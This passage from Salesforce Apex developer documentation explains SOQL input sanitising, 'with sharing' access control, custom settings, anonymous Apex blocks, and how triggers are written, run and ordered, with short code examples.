If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.
Data Access Control
The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which
users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The
default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not
enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden
from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For
example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
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In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:
• A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country
codes, users have quick access to this data without needing to query the database.
• An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales
reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for
route and traffic, you can enable this data for just the “Sales Rep” profile.
You can create a custom setting in the Salesforce user interface: from Setup, enter Custom Settings in the Quick Find box,
then select Custom Settings. After creating a custom setting and you’ve added fields, provide data to your custom setting by clicking
Manage from the detail page. Each data set is identified by the name you give it.
For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can
look like the following:
Data Set Name
Country Code Field Value
United States
USA
Canada
CAN
United Kingdom
GBR
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You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility
setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the
custom settings using Apex code run by the subscribing organization after they’ve installed the package.
Apex can access both custom setting types—list and hierarchy.
Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing
organization cannot edit the values or access them using Apex.
Accessing a List Custom Setting
The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with
the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();
The following example uses the getValues method to return all the field values associated with the specified data set. This method
can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
Accessing a Hierarchy Custom Setting
The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();
The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
SEE ALSO:
Custom Settings Methods
Running Apex
You can access many features of the Salesforce user interface programmatically in Apex, and you can integrate with external SOAP and
REST Web services. You can run Apex code using a variety of mechanisms. Apex code runs in atomic transactions.
IN THIS SECTION:
Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
Apex Transactions and Governor Limits
Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Force.com multitenant platform.
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Using Salesforce Features with Apex
Many features of the Salesforce user interface are exposed in Apex so that you can access them programatically in the Force.com
platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve
process requests.
Integration and Apex Utilities
Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data
security, and encoding. A general-purpose utility for regular expressions with text strings is also provided.
Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
IN THIS SECTION:
1. Anonymous Blocks
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed.
2. Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce
records, such as insertions, updates, or deletions.
3. Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your
needs.
4. Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
5. Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through
the REST architecture.
6. Apex Email Service
You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an
email service that automatically creates contact records based on contact information in messages.
7. Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
8. Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
9. JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic
behavior that isn’t possible with the standard Visualforce AJAX components.
10. Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
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Anonymous Blocks
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed.
User Permissions Needed
To execute anonymous Apex:
“Author Apex”
(Anonymous Apex execution through the API allows restricted access without the “Author
Apex” permission.)
Compile and execute anonymous blocks using one of the following:
• Developer Console
• Force.com IDE
• The executeAnonymous() SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)
You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE, or to write
code that changes dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as
a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database.
Note the following about the content of an anonymous block (for executeAnonymous(), the code String):
• Can include user-defined methods and exceptions.
• User-defined methods cannot include the keyword static.
• You do not have to manually commit any database changes.
• If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not
complete successfully, any changes made to the database are rolled back.
• Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's
object- and field-level permissions.
• Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The
scope of the method is limited to the anonymous block.
• When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by default
when the anonymous block executes. This is true even if your custom type wasn’t defined with the virtual modifier. Save your
class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined in an anonymous block aren’t
saved in your organization.
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be
referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does
not:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;
}
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myProcedure1();
The return result for anonymous blocks includes:
• Status information for the compile and execute phases of the call, including any errors that occur
• The debug log content, including the output of any calls to the System.debug method (see Debug Log on page 535)
• The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack
element
For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with Logs in the
Developer Console and the Force.com IDE.
Executing Anonymous Apex through the API and the Author Apex Permission
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the organization, users must
have the Author Apex permission. For users who don’t have the Author Apex permission, the API allows restricted execution of anonymous
Apex. This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the API, but not in
the Developer Console. Such users are allowed to run the following in an anonymous block.
• Code that they write in the anonymous block
• Web service methods (methods declared with the webservice keyword) that are saved in the organization
• Any built-in Apex methods that are part of the Apex language
Running any other Apex code isn’t allowed when the user doesn’t have the Author Apex permission. For example, calling methods of
custom Apex classes that are saved in the organization isn’t allowed nor is using custom classes as arguments to built-in methods.
When users without the Author Apex permission run DML statements in an anonymous block, triggers can get fired as a result.
Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce records,
such as insertions, updates, or deletions.
A trigger is Apex code that executes before or after the following types of operations:
• insert
• update
• delete
• merge
• upsert
• undelete
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or
even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects,
such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers
you want to access, go to Triggers.
There are two types of triggers:
• Before triggers are used to update or validate record values before they’re saved to the database.
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• After triggers are used to access field values that are set by the system (such as a record's Id or LastModifiedDate field), and
to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that
fire the after trigger are read-only.
Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after
an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and
because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and
sets limits on the number of operations that can be performed to prevent infinite recursion. See Execution Governors and Limits on page
275.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error.
This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A
inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or
database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.
Implementation Considerations
Before creating triggers, consider the following:
• upsert triggers fire both before and after insert or before and after update triggers as appropriate.
• merge triggers fire both before and after delete for the losing records, and both before and after update triggers for the
winning record. See Triggers and Merge Statements on page 219.
• Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on
page 219.
• Field history is not recorded until the end of a trigger. If you query field history in a trigger, you don’t see any history for the current
transaction.
• Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object
or field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is
recorded.
• Callouts must be made asynchronously from a trigger so that the trigger process isn’t blocked while waiting for the external service's
response. The asynchronous callout is made in a background process, and the response is received when the external service returns
it. To make an asynchronous callout, use asynchronous Apex such as a future method. See Invoking Callouts Using Apex for more
information.
• In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split
into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes
a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same
HTTP request.
IN THIS SECTION:
1. Bulk Triggers
2. Trigger Syntax
3. Trigger Context Variables
4. Context Variable Considerations
5. Common Bulk Trigger Idioms
6. Defining Triggers
7. Triggers and Merge Statements
8. Triggers and Recovered Records
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9. Triggers and Order of Execution
10. Operations That Don't Invoke Triggers
Some operations don’t invoke triggers.
11. Entity and Field Considerations in Triggers
When you create triggers, consider the behavior of certain entities, fields, and operations.
12. Triggers for Chatter Objects
You can write triggers for the FeedItem and FeedComment objects.
13. Trigger Exceptions
14. Trigger and Bulk Request Best Practices
Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one
record at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.
Bulk triggers can handle both single record updates and bulk operations like:
• Data import
• Force.com Bulk API calls
• Mass actions, such as record owner changes and deletes
• Recursive Apex methods and triggers that invoke bulk DML statements
Trigger Syntax
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {
code_block
}
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error
when the trigger is called in bulk from the Force.com API.
For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) {
// Your code here
}
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The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In
addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully,
any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the
database are rolled back.
Trigger Context Variables
All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the
System.Trigger class.
Variable
Usage
isExecuting
Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.
isInsert
Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.
isUpdate
Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.
isDelete
Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.
isBefore
Returns true if this trigger was fired before any record was saved.
isAfter
Returns true if this trigger was fired after all records were saved.
isUndelete
Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after
an undelete operation from the Salesforce user interface, Apex, or the API.)
new
Returns a list of the new versions of the sObject records.
This sObject list is only available in insert, update, and undelete triggers, and the records
can only be modified in before triggers.
newMap
A map of IDs to the new versions of the sObject records.
This map is only available in before update, after insert, after update, and
after undelete triggers.
Returns a list of the old versions of the sObject records.
old
This sObject list is only available in update and delete triggers.
oldMap
A map of IDs to the old versions of the sObject records.
This map is only available in update and delete triggers.
size
The total number of records in a trigger invocation, both old and new.
Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set
to null in the new, newMap, old, and oldMap trigger context variables.
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For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind
variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}
This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.
} else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
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contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}
}
}}}
Context Variable Considerations
Be aware of the following considerations for trigger context variables:
• trigger.new and trigger.old cannot be used in Apex DML operations.
• You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
• trigger.old is always read-only.
• You cannot delete trigger.new.
The following table lists considerations about certain actions in different trigger events:
Trigger Event
Can change fields using
Can update original object Can delete original object
using an update DML
using a delete DML
operation
operation
trigger.new
before insert
Allowed.
Not applicable. The original
object has not been created;
nothing can reference it, so
nothing can update it.
after insert
Not allowed. A runtime error is Allowed.
thrown, as trigger.new is
already saved.
Allowed, but unnecessary. The
object is deleted immediately
after being inserted.
before update
Allowed.
Not allowed. A runtime error is
thrown.
after update
Not allowed. A runtime error is Allowed. Even though bad code
thrown, as trigger.new is could cause an infinite recursion
doing this incorrectly, the error
already saved.
would be found by the governor
limits.
before delete
Not allowed. A runtime error is
thrown. trigger.new is not
available in before delete
triggers.
after delete
Not allowed. A runtime error is Not applicable. The object has
thrown. trigger.new is not already been deleted.
available in after delete triggers.
Not allowed. A runtime error is
thrown.
Not applicable. The original
object has not been created;
nothing can reference it, so
nothing can update it.
Allowed. The updates are saved
before the object is deleted, so
if the object is undeleted, the
updates become visible.
Allowed. The updates are saved Not allowed. A runtime error is
before the object is deleted, so thrown. The deletion is already
if the object is undeleted, the
in progress.
updates become visible.
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Can change fields using
trigger.new
after undelete
Can update original object Can delete original object
using an update DML
using a delete DML
operation
operation
Not allowed. A runtime error is Allowed.
thrown. trigger.old is not
available in after undelete
triggers.
Allowed, but unnecessary. The
object is deleted immediately
after being inserted.
Common Bulk Trigger Idioms
Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult
for developers to understand and code because they involve processing batches of several records at a time. The following sections
provide examples of idioms that should be used frequently when writing in bulk.
Using Maps and Sets in Bulk Triggers
Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps
can be used to hold query results organized by record ID.
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem
records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their
associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems
in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
// For every OpportunityLineItem record, add its associated pricebook entry
// to a set so there are no duplicates.
Set<Id> pbeIds = new Set<Id>();
for (OpportunityLineItem oli : Trigger.new)
pbeIds.add(oli.pricebookentryid);
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
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Correlating Records with Query Results in Bulk Triggers
Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this
trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For
every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}
Using Triggers to Insert or Update Records with Unique Fields
When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the
error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct
by the time the request is finished.
When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new
keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert
event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the
changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second
record is no longer valid.
Defining Triggers
Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce:
1. From the object management settings for the object whose triggers you want to access, go to Triggers.
Tip: For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user
interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the
default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed
package. You can specify an older version of a managed package if you want to access components or functionality that differs from
the most recent package version.
4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox
deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {
code_block
}
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where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since
the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial
changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses
the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively,
you can choose to prevent records from being deleted if they’re in a lookup relationship.
The Apex Trigger Editor
The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
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Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
(
) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
Triggers and Merge Statements
Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:
Deletion of losing records
A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were
deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after
losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is
only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result
of a merge, you need to use the after delete trigger event.
Update of the winning record
A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result
of the merge operation do not fire triggers.
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts,
such as accounts or opportunities, fire.
The following is the order of events when a merge occurs:
1. The before delete trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the
MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.
Triggers and Recovered Records
The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered
from the Recycle Bin through the undelete DML statement. These are also called undeleted records.
The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also
be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete
trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes.
The after undelete trigger event only fires for the following objects:
• Account
• Asset
• Campaign
• Case
• Contact
• ContentDocument
• Contract
• Custom objects
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• Event
• Lead
• Opportunity
• Product
• Solution
• Task
Triggers and Order of Execution
When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order.
Note: Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any
dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on
the client side.
On the server, Salesforce:
1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values.
If the request came from a standard UI edit page, Salesforce runs system validation to check the record for:
• Compliance with layout-specific rules
• Required values at the layout level and field-definition level
• Valid field formats
• Maximum field length
When the request comes from other sources, such as an Apex application or a SOAP API call, Salesforce validates only the foreign
keys. Prior to executing a trigger, Salesforce verifies that any custom foreign keys do not refer to the object itself.
Salesforce runs user-defined validation rules if multiline items were created, such as quote line items and opportunity line items.
3. Executes all before triggers.
4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined
validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI
edit page) is the enforcement of layout-specific rules.
5. Executes duplicate rules. If the duplicate rule identifies the record as a duplicate and uses the block action, the record is not saved
and no further steps, such as after triggers and workflow rules, are taken.
6. Saves the record to the database, but doesn't commit yet.
7. Executes all after triggers.
8. Executes assignment rules.
9. Executes auto-response rules.
10. Executes workflow rules.
11. If there are workflow field updates, updates the record again.
12. If the record was updated with workflow field updates, fires before update triggers and after update triggers one more
time (and only one more time), in addition to standard validations. Custom validation rules, duplicate rules, and escalation rules are
not run again.
13. Executes processes.
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If there are workflow flow triggers, executes the flows.
The pilot program for flow trigger workflow actions is closed. If you've already enabled the pilot in your org, you can continue to
create and edit flow trigger workflow actions. If you didn't enable the pilot in your org, use the Flows action in Process Builder instead.
14. Executes escalation rules.
15. Executes entitlement rules.
16. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up
summary field in the parent record. Parent record goes through save procedure.
17. If the parent record is updated, and a grandparent record contains a roll-up summary field or is part of a cross-object workflow,
performs calculations and updates the roll-up summary field in the grandparent record. Grandparent record goes through save
procedure.
18. Executes Criteria Based Sharing evaluation.
19. Commits all DML operations to the database.
20. Executes post-commit logic, such as sending email.
Note: During a recursive save, Salesforce skips steps 8 (assignment rules) through 17 (roll-up summary field in the grandparent
record).
Additional Considerations
Please note the following when working with triggers.
• The order of execution isn’t guaranteed when having multiple triggers for the same object due to the same event. For example, if
you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the order in which these
triggers fire isn’t guaranteed.
• When a DML call is made with partial success allowed, more than one attempt can be made to save the successful records if the
initial attempt results in errors for some records. For example, an error can occur for a record when a user-validation rule fails. Triggers
are fired during the first attempt and are fired again during subsequent attempts. Because these trigger invocations are part of the
same transaction, static class variables that are accessed by the trigger aren't reset. DML calls allow partial success when you set the
allOrNone parameter of a Database DML method to false or when you call the SOAP API with default settings. For more
details, see Bulk DML Exception Handling.
• If your org uses Contacts to Multiple Accounts, anytime you insert a non-private contact, an AccountContactRelation is created and
its validation rules, database insertion, and triggers are executed immediately after the contact is saved to the database (step 6).
When you change a contact's primary account, an AccountContactRelation may be created or edited, and the AccountContactRelation
validation rules, database changes, and triggers are executed immediately after the contact is saved to the database (step 6).
• If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows:
– If you set Stage and Forecast Category, the opportunity record contains those exact values.
– If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults
to the one associated with trigger Stage.
– If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value
should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming
Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage.
If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.
• If you are cloning an opportunity with products, the following events occur in order:
1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.
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Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning.
If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.
• Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an exception.
When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last update trigger won’t
contain the version of the object immediately prior to the workflow update, but the object before the initial update was made. For
example, suppose an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule
field update fires and increments it to 11. In the update trigger that fires after the workflow field update, the field value of the object
obtained from Trigger.old is the original value of 1, rather than 10, as would typically be the case.
Operations That Don't Invoke Triggers
Some operations don’t invoke triggers.
Triggers are invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server.
Therefore, some system bulk operations don't invoke triggers. Some examples include:
• Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation.
• Cascading updates of child records that are reparented as a result of a merge operation
• Mass campaign status changes
• Mass division transfers
• Mass address updates
• Mass approval request transfers
• Mass email actions
• Modifying custom field data types
• Renaming or replacing picklists
• Managing price books
• Changing a user's default division with the transfer division option checked
• Changes to the following objects:
– BrandTemplate
– MassEmailTemplate
– Folder
• Update account triggers don't fire before or after a business account record type is changed to person account (or a person account
record type is changed to business account.)
Note: Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.
The before triggers associated with the following operations are fired during lead conversion only if validation and triggers for lead
conversion are enabled in the organization:
• insert of accounts, contacts, and opportunities
• update of accounts and contacts
Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product,
even if the opportunity product changes the opportunity, the before and after triggers and the validation rules don't fire for the
opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.
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The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
• Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
